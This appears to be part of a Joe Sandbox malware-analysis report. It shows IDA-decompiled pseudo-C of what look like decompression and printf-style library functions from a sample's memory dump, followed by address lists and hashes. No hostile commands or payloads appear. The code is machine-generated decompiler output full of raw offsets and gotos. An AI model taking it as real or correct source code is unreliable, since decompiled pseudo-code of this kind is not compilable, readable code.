										_t155 =  *((intOrPtr*)(_t189 + 0x44 + _t98 * 4)) + (_t180 -  *((intOrPtr*)(_t189 + _t98 * 4)) >> _t152 - _t98);
										__eflags = _t155 -  *_t189;
										asm("sbb eax, eax");
										_t99 = _t98 & _t155;
										__eflags = _t99;
										_t156 =  *(_t189 + 0xc88 + _t99 * 2) & 0x0000ffff;
										L28:
										__eflags = _t156 - 0x10;
										if(_t156 >= 0x10) {
											__eflags = _t156 - 0x12;
											if(__eflags >= 0) {
												_t157 = _t184;
												if(__eflags != 0) {
													_t192 = (E013AA4CC(_t157) >> 9) + 0xb;
													__eflags = _t192;
													_push(7);
												} else {
													_t192 = (E013AA4CC(_t157) >> 0xd) + 3;
													_push(3);
												}
												E013AA4B5(_t184);
												while(1) {
													_t192 = _t192 - 1;
													__eflags = _t138 - 0x194;
													if(_t138 >= 0x194) {
														goto L46;
													}
													 *(_t201 + _t138 + 0x28) = 0;
													_t138 = _t138 + 1;
													__eflags = _t192;
													if(_t192 != 0) {
														continue;
													}
													L44:
													_t189 = _t185 + 0x3c50;
													goto L45;
												}
												break;
											}
											__eflags = _t156 - 0x10;
											_t166 = _t184;
											if(_t156 != 0x10) {
												_t198 = (E013AA4CC(_t166) >> 9) + 0xb;
												__eflags = _t198;
												_push(7);
											} else {
												_t198 = (E013AA4CC(_t166) >> 0xd) + 3;
												_push(3);
											}
											E013AA4B5(_t184);
											__eflags = _t138;
											if(_t138 == 0) {
												L47:
												_t116 = 0;
												L49:
												return _t116;
											} else {
												while(1) {
													_t198 = _t198 - 1;
													__eflags = _t138 - 0x194;
													if(_t138 >= 0x194) {
														goto L46;
													}
													 *(_t201 + _t138 + 0x28) =  *((intOrPtr*)(_t201 + _t138 + 0x27));
													_t138 = _t138 + 1;
													__eflags = _t198;
													if(_t198 != 0) {
														continue;
													}
													goto L44;
												}
												break;
											}
										}
										 *(_t201 + _t138 + 0x28) =  *((intOrPtr*)(_t138 + _t185 + 0xe4c8)) + _t156 & 0x0000000f;
										_t138 = _t138 + 1;
										goto L45;
									}
									_t169 = 4 + _t95 * 4 + _t189;
									__eflags = _t169;
									while(1) {
										__eflags = _t180 -  *_t169;
										if(_t180 <  *_t169) {
											break;
										}
										_t95 = _t95 + 1;
										_t169 = _t169 + 4;
										__eflags = _t95 - 0xf;
										if(_t95 < 0xf) {
											continue;
										}
										goto L27;
									}
									 *(_t201 + 0x10) = _t95;
									goto L27;
								}
								_t170 = 0x10;
								_t183 = _t180 >> _t170 - _t94;
								_t173 = ( *(_t183 + _t189 + 0x88) & 0x000000ff) +  *(_t184 + 4);
								 *_t184 =  *_t184 + (_t173 >> 3);
								 *(_t184 + 4) = _t173 & 0x00000007;
								_t156 =  *(_t189 + 0x488 + _t183 * 2) & 0x0000ffff;
								goto L28;
							}
							_t127 = E013B3AA9(_t185);
							__eflags = _t127;
							if(_t127 == 0) {
								goto L47;
							}
							goto L19;
							L45:
							__eflags = _t138 - 0x194;
						} while (_t138 < 0x194);
						L46:
						 *((char*)(_t185 + 0xe661)) = 1;
						__eflags =  *_t184 -  *((intOrPtr*)(_t185 + 0x84));
						if( *_t184 <=  *((intOrPtr*)(_t185 + 0x84))) {
							_push(0x12b);
							_push(_t185 + 0xa0);
							_push(_t201 + 0x30);
							E013B23EE();
							_push(0x3c);
							_push(_t185 + 0xf8c);
							_push(_t201 + 0x15b);
							E013B23EE();
							_push(0x11);
							_push(_t185 + 0x1e78);
							_push(_t201 + 0x197);
							E013B23EE();
							_push(0x1c);
							_push(_t185 + 0x2d64);
							_push(_t201 + 0x1a8);
							E013B23EE();
							E013BDFA0(_t185 + 0xe4c8, _t201 + 0x2c, 0x194);
							_t116 = 1;
							goto L49;
						}
						goto L47;
					}
					 *((intOrPtr*)(_t185 + 0xe65c)) = 1;
					_push(_t185 + 0xe4c4);
					_push(_t185);
					return E013B1B9B(_t185 + 0x98d8, _t178, _t205);
				}
				_t135 = E013B3AA9(__ecx);
				if(_t135 != 0) {
					goto L2;
				}
				return _t135;
			}

0x013b2db4
0x013b2dbb
0x013b2dc4
0x013b2dcc
0x013b2ddb
0x013b2de6
0x013b2ded
0x013b2df2
0x013b2df7
0x013b2e1c
0x013b2e1e
0x013b2e24
0x013b2e2a
0x013b2e30
0x013b2e35
0x013b2e44
0x013b2e49
0x013b2e49
0x013b2e50
0x013b2e56
0x013b2e67
0x013b2e6b
0x013b2e70
0x013b2e74
0x013b2e77
0x013b2eb0
0x00000000
0x013b2eb0
0x013b2e87
0x013b2e8a
0x013b2e8f
0x013b2e91
0x013b2e9a
0x013b2e9a
0x013b2e9d
0x013b2e9d
0x013b2e9e
0x013b2ea1
0x00000000
0x00000000
0x013b2ea3
0x013b2ea8
0x013b2ea9
0x013b2eab
0x00000000
0x00000000
0x00000000
0x013b2eab
0x013b2ead
0x00000000
0x013b2ead
0x013b2e93
0x013b2eb4
0x013b2eb4
0x013b2eb5
0x013b2eb5
0x013b2eba
0x013b2ebc
0x013b2ec4
0x013b2ec9
0x013b2eca
0x013b2ecf
0x013b2ecf
0x013b2ed1
0x013b2eda
0x013b2edc
0x013b2eed
0x013b2eef
0x013b2ef6
0x013b2efc
0x013b2f02
0x013b2f06
0x013b2f33
0x013b2f34
0x013b2f35
0x013b2f39
0x013b2f3b
0x013b2f59
0x013b2f5c
0x013b2f68
0x013b2f6a
0x013b2f6e
0x013b2f73
0x013b2f80
0x013b2f82
0x013b2f85
0x013b2f87
0x013b2f87
0x013b2f89
0x013b2f91
0x013b2f91
0x013b2f94
0x013b2fab
0x013b2fae
0x013b2ffa
0x013b2ffc
0x013b3019
0x013b3019
0x013b301c
0x013b2ffe
0x013b3008
0x013b300b
0x013b300b
0x013b3020
0x013b3025
0x013b3025
0x013b3026
0x013b302c
0x00000000
0x00000000
0x013b302e
0x013b3033
0x013b3034
0x013b3036
0x00000000
0x00000000
0x013b3038
0x013b3038
0x00000000
0x013b3038
0x00000000
0x013b3025
0x013b2fb0
0x013b2fb3
0x013b2fb5
0x013b2fd2
0x013b2fd2
0x013b2fd5
0x013b2fb7
0x013b2fc1
0x013b2fc4
0x013b2fc4
0x013b2fd9
0x013b2fde
0x013b2fe0
0x013b305b
0x013b305b
0x013b30da
0x00000000
0x013b2fe2
0x013b2fe2
0x013b2fe2
0x013b2fe3
0x013b2fe9
0x00000000
0x00000000
0x013b2fef
0x013b2ff3
0x013b2ff4
0x013b2ff6
0x00000000
0x00000000
0x00000000
0x013b2ff8
0x00000000
0x013b2fe2
0x013b2fe0
0x013b2fa1
0x013b2fa5
0x00000000
0x013b2fa5
0x013b2f44
0x013b2f44
0x013b2f46
0x013b2f46
0x013b2f48
0x00000000
0x00000000
0x013b2f4a
0x013b2f4b
0x013b2f4e
0x013b2f51
0x00000000
0x00000000
0x00000000
0x013b2f53
0x013b2f55
0x00000000
0x013b2f55
0x013b2f0a
0x013b2f0d
0x013b2f17
0x013b2f1f
0x013b2f24
0x013b2f27
0x00000000
0x013b2f27
0x013b2ee0
0x013b2ee5
0x013b2ee7
0x00000000
0x00000000
0x00000000
0x013b303e
0x013b303e
0x013b303e
0x013b304a
0x013b304c
0x013b3053
0x013b3059
0x013b305f
0x013b306c
0x013b3071
0x013b3072
0x013b3077
0x013b3081
0x013b3089
0x013b308a
0x013b308f
0x013b3099
0x013b30a1
0x013b30a2
0x013b30a7
0x013b30b1
0x013b30b9
0x013b30ba
0x013b30d0
0x013b30d8
0x00000000
0x013b30d8
0x00000000
0x013b3059
0x013b2dff
0x013b2e09
0x013b2e0a
0x00000000
0x013b2e11
0x013b2dce
0x013b2dd5
0x00000000
0x00000000
0x013b30e4

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27f2a4d6ddd3b585317645cc5051d726e6ea8aecf25b64319d1df32cbac21ee2
Instruction ID: 173c8dac5b296bdf7c27aa42be9dfd46a321d75826ac94cae9af2e3e252446b9
Opcode Fuzzy Hash: 27f2a4d6ddd3b585317645cc5051d726e6ea8aecf25b64319d1df32cbac21ee2
Instruction Fuzzy Hash: 3D91347120430A8BD725EE68C8D4BFB77D5EF90308F100A2DE79B97A82FA74A548C751

Uniqueness

Uniqueness Score: -1.00%

Function 013C2B68 Relevance: .2, Instructions: 237
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 86%

			E013C2B68(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _t52;
				signed int _t54;
				signed int _t55;
				void* _t56;
				signed char _t60;
				signed char _t62;
				signed int _t64;
				void* _t65;
				signed int _t66;
				signed char _t75;
				signed char _t78;
				void* _t86;
				void* _t88;
				signed char _t90;
				signed char _t92;
				signed int _t93;
				signed int _t96;
				signed int _t98;
				signed int _t99;
				signed int _t103;
				signed int* _t104;
				void* _t106;
				signed int _t112;
				unsigned int _t114;
				signed char _t116;
				void* _t124;
				unsigned int _t125;
				void* _t126;
				signed int _t127;
				short _t128;
				void* _t131;
				void* _t133;
				void* _t135;
				signed int _t136;
				void* _t137;
				void* _t139;
				void* _t140;

				_t126 = __edi;
				_t52 =  *0x13da1c8; // 0x21a16d55
				_v8 = _t52 ^ _t136;
				_t135 = __ecx;
				_t103 = 0;
				_t124 = 0x41;
				_t54 =  *(__ecx + 0x32) & 0x0000ffff;
				_t106 = 0x58;
				_t139 = _t54 - 0x64;
				if(_t139 > 0) {
					__eflags = _t54 - 0x70;
					if(__eflags > 0) {
						_t55 = _t54 - 0x73;
						__eflags = _t55;
						if(_t55 == 0) {
							L9:
							_t56 = E013C32AF(_t135);
							L10:
							if(_t56 != 0) {
								__eflags =  *((intOrPtr*)(_t135 + 0x30)) - _t103;
								if( *((intOrPtr*)(_t135 + 0x30)) != _t103) {
									L71:
									L72:
									return E013BD763(_v8 ^ _t136);
								}
								_t125 =  *(_t135 + 0x20);
								_push(_t126);
								_v16 = _t103;
								_t60 = _t125 >> 4;
								_v12 = _t103;
								_t127 = 0x20;
								__eflags = 1 & _t60;
								if((1 & _t60) == 0) {
									L46:
									_t112 =  *(_t135 + 0x32) & 0x0000ffff;
									__eflags = _t112 - 0x78;
									if(_t112 == 0x78) {
										L48:
										_t62 = _t125 >> 5;
										__eflags = _t62 & 0x00000001;
										if((_t62 & 0x00000001) == 0) {
											L50:
											__eflags = 0;
											L51:
											__eflags = _t112 - 0x61;
											if(_t112 == 0x61) {
												L54:
												_t64 = 1;
												L55:
												_t128 = 0x30;
												__eflags = _t64;
												if(_t64 != 0) {
													L57:
													_t65 = 0x58;
													 *((short*)(_t136 + _t103 * 2 - 0xc)) = _t128;
													__eflags = _t112 - _t65;
													if(_t112 == _t65) {
														L60:
														_t66 = 1;
														L61:
														__eflags = _t66;
														asm("cbw");
														 *((short*)(_t136 + _t103 * 2 - 0xa)) = ((_t66 & 0xffffff00 | _t66 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x78;
														_t103 = _t103 + 2;
														__eflags = _t103;
														L62:
														_t131 =  *((intOrPtr*)(_t135 + 0x24)) -  *((intOrPtr*)(_t135 + 0x38)) - _t103;
														__eflags = _t125 & 0x0000000c;
														if((_t125 & 0x0000000c) == 0) {
															E013C2538(_t135 + 0x448, 0x20, _t131, _t135 + 0x18);
															_t137 = _t137 + 0x10;
														}
														E013C3433(_t135 + 0x448,  &_v16, _t103, _t135 + 0x18,  *((intOrPtr*)(_t135 + 0xc)));
														_t114 =  *(_t135 + 0x20);
														_t104 = _t135 + 0x18;
														_t75 = _t114 >> 3;
														__eflags = _t75 & 0x00000001;
														if((_t75 & 0x00000001) != 0) {
															_t116 = _t114 >> 2;
															__eflags = _t116 & 0x00000001;
															if((_t116 & 0x00000001) == 0) {
																E013C2538(_t135 + 0x448, 0x30, _t131, _t104);
																_t137 = _t137 + 0x10;
															}
														}
														E013C33A8(_t135, 0);
														__eflags =  *_t104;
														if( *_t104 >= 0) {
															_t78 =  *(_t135 + 0x20) >> 2;
															__eflags = _t78 & 0x00000001;
															if((_t78 & 0x00000001) != 0) {
																E013C2538(_t135 + 0x448, 0x20, _t131, _t104);
															}
														}
														goto L71;
													}
													_t86 = 0x41;
													__eflags = _t112 - _t86;
													if(_t112 == _t86) {
														goto L60;
													}
													_t66 = 0;
													goto L61;
												}
												__eflags = _t64;
												if(_t64 == 0) {
													goto L62;
												}
												goto L57;
											}
											_t133 = 0x41;
											__eflags = _t112 - _t133;
											if(_t112 == _t133) {
												goto L54;
											}
											_t64 = 0;
											goto L55;
										}
										goto L51;
									}
									_t88 = 0x58;
									__eflags = _t112 - _t88;
									if(_t112 != _t88) {
										goto L50;
									}
									goto L48;
								}
								_t90 = _t125 >> 6;
								__eflags = 1 & _t90;
								if((1 & _t90) == 0) {
									__eflags = 1 & _t125;
									if((1 & _t125) == 0) {
										_t92 = _t125 >> 1;
										__eflags = 1 & _t92;
										if((1 & _t92) == 0) {
											goto L46;
										}
										_v16 = _t127;
										L45:
										_t103 = 1;
										goto L46;
									}
									_push(0x2b);
									L40:
									_pop(_t93);
									_v16 = _t93;
									goto L45;
								}
								_push(0x2d);
								goto L40;
							}
							L11:
							goto L72;
						}
						_t96 = _t55;
						__eflags = _t96;
						if(__eflags == 0) {
							L28:
							_push(_t103);
							_push(0xa);
							L29:
							_t56 = E013C30BA(_t135, _t126, __eflags);
							goto L10;
						}
						__eflags = _t96 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_push(0x10);
						goto L29;
					}
					if(__eflags == 0) {
						_t56 = E013C3297(__ecx);
						goto L10;
					}
					__eflags = _t54 - 0x67;
					if(_t54 <= 0x67) {
						L30:
						_t56 = E013C2EB0(_t103, _t135);
						goto L10;
					}
					__eflags = _t54 - 0x69;
					if(_t54 == 0x69) {
						L27:
						_t3 = _t135 + 0x20;
						 *_t3 =  *(_t135 + 0x20) | 0x00000010;
						__eflags =  *_t3;
						goto L28;
					}
					__eflags = _t54 - 0x6e;
					if(_t54 == 0x6e) {
						_t56 = E013C3204(__ecx, _t124);
						goto L10;
					}
					__eflags = _t54 - 0x6f;
					if(_t54 != 0x6f) {
						goto L11;
					}
					_t56 = E013C3278(__ecx);
					goto L10;
				}
				if(_t139 == 0) {
					goto L27;
				}
				_t140 = _t54 - _t106;
				if(_t140 > 0) {
					_t98 = _t54 - 0x5a;
					__eflags = _t98;
					if(_t98 == 0) {
						_t56 = E013C2E4D(__ecx);
						goto L10;
					}
					_t99 = _t98 - 7;
					__eflags = _t99;
					if(_t99 == 0) {
						goto L30;
					}
					__eflags = _t99;
					if(__eflags != 0) {
						goto L11;
					}
					L17:
					_t56 = E013C3022(_t135, __eflags, _t103);
					goto L10;
				}
				if(_t140 == 0) {
					_push(1);
					goto L13;
				}
				if(_t54 == _t124) {
					goto L30;
				}
				if(_t54 == 0x43) {
					goto L17;
				}
				if(_t54 <= 0x44) {
					goto L11;
				}
				if(_t54 <= 0x47) {
					goto L30;
				}
				if(_t54 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x013c2b68
0x013c2b70
0x013c2b77
0x013c2b7c
0x013c2b7e
0x013c2b82
0x013c2b85
0x013c2b89
0x013c2b8a
0x013c2b8d
0x013c2bfa
0x013c2bfd
0x013c2c4c
0x013c2c4c
0x013c2c4f
0x013c2bbb
0x013c2bbd
0x013c2bc2
0x013c2bc4
0x013c2c6a
0x013c2c6d
0x013c2db3
0x013c2db5
0x013c2dc4
0x013c2dc4
0x013c2c73
0x013c2c78
0x013c2c7b
0x013c2c7e
0x013c2c82
0x013c2c88
0x013c2c89
0x013c2c8b
0x013c2cb5
0x013c2cb5
0x013c2cb9
0x013c2cbc
0x013c2cc6
0x013c2cc8
0x013c2ccb
0x013c2ccd
0x013c2cd3
0x013c2cd3
0x013c2cd5
0x013c2cd5
0x013c2cd8
0x013c2ce6
0x013c2ce6
0x013c2ce8
0x013c2cea
0x013c2ceb
0x013c2ced
0x013c2cf3
0x013c2cf5
0x013c2cf6
0x013c2cfb
0x013c2cfe
0x013c2d0c
0x013c2d0c
0x013c2d0e
0x013c2d0e
0x013c2d19
0x013c2d1b
0x013c2d20
0x013c2d20
0x013c2d23
0x013c2d29
0x013c2d2b
0x013c2d2e
0x013c2d3e
0x013c2d43
0x013c2d43
0x013c2d58
0x013c2d5d
0x013c2d60
0x013c2d65
0x013c2d68
0x013c2d6a
0x013c2d6c
0x013c2d6f
0x013c2d72
0x013c2d7f
0x013c2d84
0x013c2d84
0x013c2d72
0x013c2d8b
0x013c2d90
0x013c2d93
0x013c2d98
0x013c2d9b
0x013c2d9d
0x013c2daa
0x013c2daf
0x013c2d9d
0x00000000
0x013c2db2
0x013c2d02
0x013c2d03
0x013c2d06
0x00000000
0x00000000
0x013c2d08
0x00000000
0x013c2d08
0x013c2cef
0x013c2cf1
0x00000000
0x00000000
0x00000000
0x013c2cf1
0x013c2cdc
0x013c2cdd
0x013c2ce0
0x00000000
0x00000000
0x013c2ce2
0x00000000
0x013c2ce2
0x00000000
0x013c2ccf
0x013c2cc0
0x013c2cc1
0x013c2cc4
0x00000000
0x00000000
0x00000000
0x013c2cc4
0x013c2c8f
0x013c2c92
0x013c2c94
0x013c2c9f
0x013c2ca1
0x013c2ca9
0x013c2cab
0x013c2cad
0x00000000
0x00000000
0x013c2caf
0x013c2cb3
0x013c2cb3
0x00000000
0x013c2cb3
0x013c2ca3
0x013c2c98
0x013c2c98
0x013c2c99
0x00000000
0x013c2c99
0x013c2c96
0x00000000
0x013c2c96
0x013c2bca
0x00000000
0x013c2bca
0x013c2c56
0x013c2c56
0x013c2c59
0x013c2c2b
0x013c2c2b
0x013c2c2c
0x013c2c2e
0x013c2c30
0x00000000
0x013c2c30
0x013c2c5b
0x013c2c5e
0x00000000
0x00000000
0x013c2c64
0x013c2bd3
0x013c2bd3
0x00000000
0x013c2bd3
0x013c2bff
0x013c2c42
0x00000000
0x013c2c42
0x013c2c01
0x013c2c04
0x013c2c37
0x013c2c39
0x00000000
0x013c2c39
0x013c2c06
0x013c2c09
0x013c2c27
0x013c2c27
0x013c2c27
0x013c2c27
0x00000000
0x013c2c27
0x013c2c0b
0x013c2c0e
0x013c2c20
0x00000000
0x013c2c20
0x013c2c10
0x013c2c13
0x00000000
0x00000000
0x013c2c17
0x00000000
0x013c2c17
0x013c2b8f
0x00000000
0x00000000
0x013c2b95
0x013c2b97
0x013c2bd7
0x013c2bd7
0x013c2bda
0x013c2bf3
0x00000000
0x013c2bf3
0x013c2bdc
0x013c2bdc
0x013c2bdf
0x00000000
0x00000000
0x013c2be2
0x013c2be5
0x00000000
0x00000000
0x013c2be7
0x013c2bea
0x00000000
0x013c2bea
0x013c2b99
0x013c2bd1
0x00000000
0x013c2bd1
0x013c2b9d
0x00000000
0x00000000
0x013c2ba6
0x00000000
0x00000000
0x013c2bab
0x00000000
0x00000000
0x013c2bb0
0x00000000
0x00000000
0x013c2bb9
0x00000000
0x00000000
0x00000000

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efab871b9a004b63ae0693b4560a02a318eaf071f6093740030b4bf0bc4e3ead
Instruction ID: 2cc2826e823cfa032932d49f09b337b93d848123d3aed0e3edc57878ff8d7ae6
Opcode Fuzzy Hash: efab871b9a004b63ae0693b4560a02a318eaf071f6093740030b4bf0bc4e3ead
Instruction Fuzzy Hash: 8E618B7160070966EF385EACC898BFF7798EB21F0CF04891DEA83DB290DA51DD828755

Uniqueness

Uniqueness Score: -1.00%

Function 013B30E5 Relevance: .2, Instructions: 232
COMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E013B30E5(void* __ecx) {
				signed int _t71;
				signed int _t72;
				signed int _t73;
				signed int _t76;
				signed int _t77;
				signed int _t78;
				signed int _t90;
				signed int _t94;
				signed int _t109;
				intOrPtr* _t111;
				signed int _t114;
				intOrPtr _t115;
				signed int _t121;
				signed int _t124;
				signed int _t125;
				signed int _t131;
				signed int _t133;
				void* _t135;
				signed int _t138;
				intOrPtr* _t139;
				intOrPtr* _t150;
				void* _t151;
				signed int _t154;
				unsigned int _t159;
				signed int _t162;
				signed int _t164;
				signed int _t165;
				intOrPtr* _t168;
				void* _t170;
				void* _t171;

				_t170 = __ecx;
				if( *((char*)( *((intOrPtr*)(_t171 + 8)) + 0x11)) != 0) {
					_t168 =  *((intOrPtr*)(_t171 + 0x1d8));
					__eflags =  *((char*)(_t168 + 8));
					if( *((char*)(_t168 + 8)) != 0) {
						L5:
						_t164 = 0;
						__eflags = 0;
						do {
							_t109 = E013AA4CC(_t168) >> 0x0000000c & 0x000000ff;
							E013AA4B5(_t168, 4);
							__eflags = _t109 - 0xf;
							if(_t109 != 0xf) {
								 *(_t171 + _t164 + 0x18) = _t109;
								goto L14;
							}
							_t124 = E013AA4CC(_t168) >> 0x0000000c & 0x000000ff;
							E013AA4B5(_t168, 4);
							__eflags = _t124;
							if(_t124 != 0) {
								_t125 = _t124 + 2;
								__eflags = _t125;
								while(1) {
									_t125 = _t125 - 1;
									__eflags = _t164 - 0x14;
									if(_t164 >= 0x14) {
										break;
									}
									 *(_t171 + _t164 + 0x18) = 0;
									_t164 = _t164 + 1;
									__eflags = _t125;
									if(_t125 != 0) {
										continue;
									}
									break;
								}
								_t164 = _t164 - 1;
								goto L14;
							}
							 *(_t171 + _t164 + 0x18) = 0xf;
							L14:
							_t164 = _t164 + 1;
							__eflags = _t164 - 0x14;
						} while (_t164 < 0x14);
						_push(0x14);
						_t111 =  *((intOrPtr*)(_t171 + 0x1e8)) + 0x3bb0;
						_push(_t111);
						_push(_t171 + 0x18);
						 *((intOrPtr*)(_t171 + 0x20)) = _t111;
						E013B23EE();
						_t165 = 0;
						__eflags = 0;
						do {
							__eflags =  *((char*)(_t168 + 8));
							if( *((char*)(_t168 + 8)) != 0) {
								L19:
								_t71 = E013AA4D1(_t168);
								_t72 =  *(_t111 + 0x84);
								_t159 = _t71 & 0x0000fffe;
								__eflags = _t159 -  *((intOrPtr*)(_t111 + 4 + _t72 * 4));
								if(_t159 >=  *((intOrPtr*)(_t111 + 4 + _t72 * 4))) {
									_t131 = 0xf;
									_t73 = _t72 + 1;
									 *(_t171 + 0x10) = _t131;
									__eflags = _t73 - _t131;
									if(_t73 >= _t131) {
										L27:
										_t133 =  *(_t168 + 4) +  *(_t171 + 0x10);
										 *_t168 =  *_t168 + (_t133 >> 3);
										_t76 =  *(_t171 + 0x10);
										 *(_t168 + 4) = _t133 & 0x00000007;
										_t135 = 0x10;
										_t138 =  *((intOrPtr*)(_t111 + 0x44 + _t76 * 4)) + (_t159 -  *((intOrPtr*)(_t111 + _t76 * 4)) >> _t135 - _t76);
										__eflags = _t138 -  *_t111;
										asm("sbb eax, eax");
										_t77 = _t76 & _t138;
										__eflags = _t77;
										_t78 =  *(_t111 + 0xc88 + _t77 * 2) & 0x0000ffff;
										L28:
										__eflags = _t78 - 0x10;
										if(_t78 >= 0x10) {
											_t139 = _t168;
											__eflags = _t78 - 0x12;
											if(__eflags >= 0) {
												if(__eflags != 0) {
													_t114 = (E013AA4CC(_t139) >> 9) + 0xb;
													__eflags = _t114;
													_push(7);
												} else {
													_t114 = (E013AA4CC(_t139) >> 0xd) + 3;
													_push(3);
												}
												E013AA4B5(_t168);
												while(1) {
													_t114 = _t114 - 1;
													__eflags = _t165 - 0x1ae;
													if(_t165 >= 0x1ae) {
														goto L46;
													}
													 *(_t171 + _t165 + 0x2c) = 0;
													_t165 = _t165 + 1;
													__eflags = _t114;
													if(_t114 != 0) {
														continue;
													}
													L44:
													_t111 =  *((intOrPtr*)(_t171 + 0x14));
													goto L45;
												}
												break;
											}
											__eflags = _t78 - 0x10;
											if(_t78 != 0x10) {
												_t121 = (E013AA4CC(_t139) >> 9) + 0xb;
												__eflags = _t121;
												_push(7);
											} else {
												_t121 = (E013AA4CC(_t139) >> 0xd) + 3;
												_push(3);
											}
											E013AA4B5(_t168);
											__eflags = _t165;
											if(_t165 == 0) {
												L48:
												_t90 = 0;
												L50:
												L51:
												return _t90;
											} else {
												while(1) {
													_t121 = _t121 - 1;
													__eflags = _t165 - 0x1ae;
													if(_t165 >= 0x1ae) {
														goto L46;
													}
													 *(_t171 + _t165 + 0x2c) =  *((intOrPtr*)(_t171 + _t165 + 0x2b));
													_t165 = _t165 + 1;
													__eflags = _t121;
													if(_t121 != 0) {
														continue;
													}
													goto L44;
												}
												break;
											}
										}
										 *(_t171 + _t165 + 0x2c) = _t78;
										_t165 = _t165 + 1;
										goto L45;
									}
									_t150 = _t111 + (_t73 + 1) * 4;
									while(1) {
										__eflags = _t159 -  *_t150;
										if(_t159 <  *_t150) {
											break;
										}
										_t73 = _t73 + 1;
										_t150 = _t150 + 4;
										__eflags = _t73 - 0xf;
										if(_t73 < 0xf) {
											continue;
										}
										goto L27;
									}
									 *(_t171 + 0x10) = _t73;
									goto L27;
								}
								_t151 = 0x10;
								_t162 = _t159 >> _t151 - _t72;
								_t154 = ( *(_t162 + _t111 + 0x88) & 0x000000ff) +  *(_t168 + 4);
								 *_t168 =  *_t168 + (_t154 >> 3);
								 *(_t168 + 4) = _t154 & 0x00000007;
								_t78 =  *(_t111 + 0x488 + _t162 * 2) & 0x0000ffff;
								goto L28;
							}
							__eflags =  *_t168 -  *((intOrPtr*)(_t170 + 0x84)) - 5;
							if( *_t168 <=  *((intOrPtr*)(_t170 + 0x84)) - 5) {
								goto L19;
							}
							_t94 = E013B3B38(_t170);
							__eflags = _t94;
							if(_t94 == 0) {
								goto L48;
							}
							goto L19;
							L45:
							__eflags = _t165 - 0x1ae;
						} while (_t165 < 0x1ae);
						L46:
						 *((char*)(_t170 + 0xe662)) = 1;
						__eflags =  *((char*)(_t168 + 8));
						if( *((char*)(_t168 + 8)) != 0) {
							L49:
							_t115 =  *((intOrPtr*)(_t171 + 0x1e8));
							_push(0x132);
							_push(_t115);
							_push(_t171 + 0x2c);
							E013B23EE();
							_push(0x40);
							_push(_t115 + 0xeec);
							_push(_t171 + 0x166);
							E013B23EE();
							_push(0x10);
							_push(_t115 + 0x1dd8);
							_push(_t171 + 0x1a6);
							E013B23EE();
							_push(0x2c);
							_push(_t115 + 0x2cc4);
							_push(_t171 + 0x1b6);
							E013B23EE();
							_t90 = 1;
							goto L50;
						}
						__eflags =  *_t168 -  *((intOrPtr*)(_t170 + 0x84));
						if( *_t168 <=  *((intOrPtr*)(_t170 + 0x84))) {
							goto L49;
						}
						goto L48;
					}
					__eflags =  *_t168 -  *((intOrPtr*)(__ecx + 0x84)) - 0x19;
					if( *_t168 <=  *((intOrPtr*)(__ecx + 0x84)) - 0x19) {
						goto L5;
					}
					_t90 = E013B3B38(__ecx);
					__eflags = _t90;
					if(_t90 == 0) {
						goto L51;
					}
					goto L5;
				}
				return 1;
			}

0x013b30f4
0x013b30f6
0x013b3100
0x013b3107
0x013b310b
0x013b3127
0x013b3128
0x013b3128
0x013b312b
0x013b3139
0x013b313c
0x013b3141
0x013b3144
0x013b317d
0x00000000
0x013b317d
0x013b3154
0x013b3157
0x013b315c
0x013b315e
0x013b3167
0x013b3167
0x013b316a
0x013b316a
0x013b316b
0x013b316e
0x00000000
0x00000000
0x013b3170
0x013b3175
0x013b3176
0x013b3178
0x00000000
0x00000000
0x00000000
0x013b3178
0x013b317a
0x00000000
0x013b317a
0x013b3160
0x013b3181
0x013b3181
0x013b3182
0x013b3182
0x013b3192
0x013b3194
0x013b319c
0x013b319d
0x013b319e
0x013b31a2
0x013b31a7
0x013b31a7
0x013b31a9
0x013b31a9
0x013b31ad
0x013b31cb
0x013b31cd
0x013b31d4
0x013b31da
0x013b31e0
0x013b31e4
0x013b3211
0x013b3212
0x013b3213
0x013b3217
0x013b3219
0x013b3234
0x013b3237
0x013b3243
0x013b3245
0x013b3249
0x013b324e
0x013b325a
0x013b325c
0x013b325e
0x013b3260
0x013b3260
0x013b3262
0x013b326a
0x013b326a
0x013b326d
0x013b3279
0x013b327b
0x013b327e
0x013b32c8
0x013b32e5
0x013b32e5
0x013b32e8
0x013b32ca
0x013b32d4
0x013b32d7
0x013b32d7
0x013b32ec
0x013b32f1
0x013b32f1
0x013b32f2
0x013b32f8
0x00000000
0x00000000
0x013b32fa
0x013b32ff
0x013b3300
0x013b3302
0x00000000
0x00000000
0x013b3304
0x013b3304
0x00000000
0x013b3304
0x00000000
0x013b32f1
0x013b3280
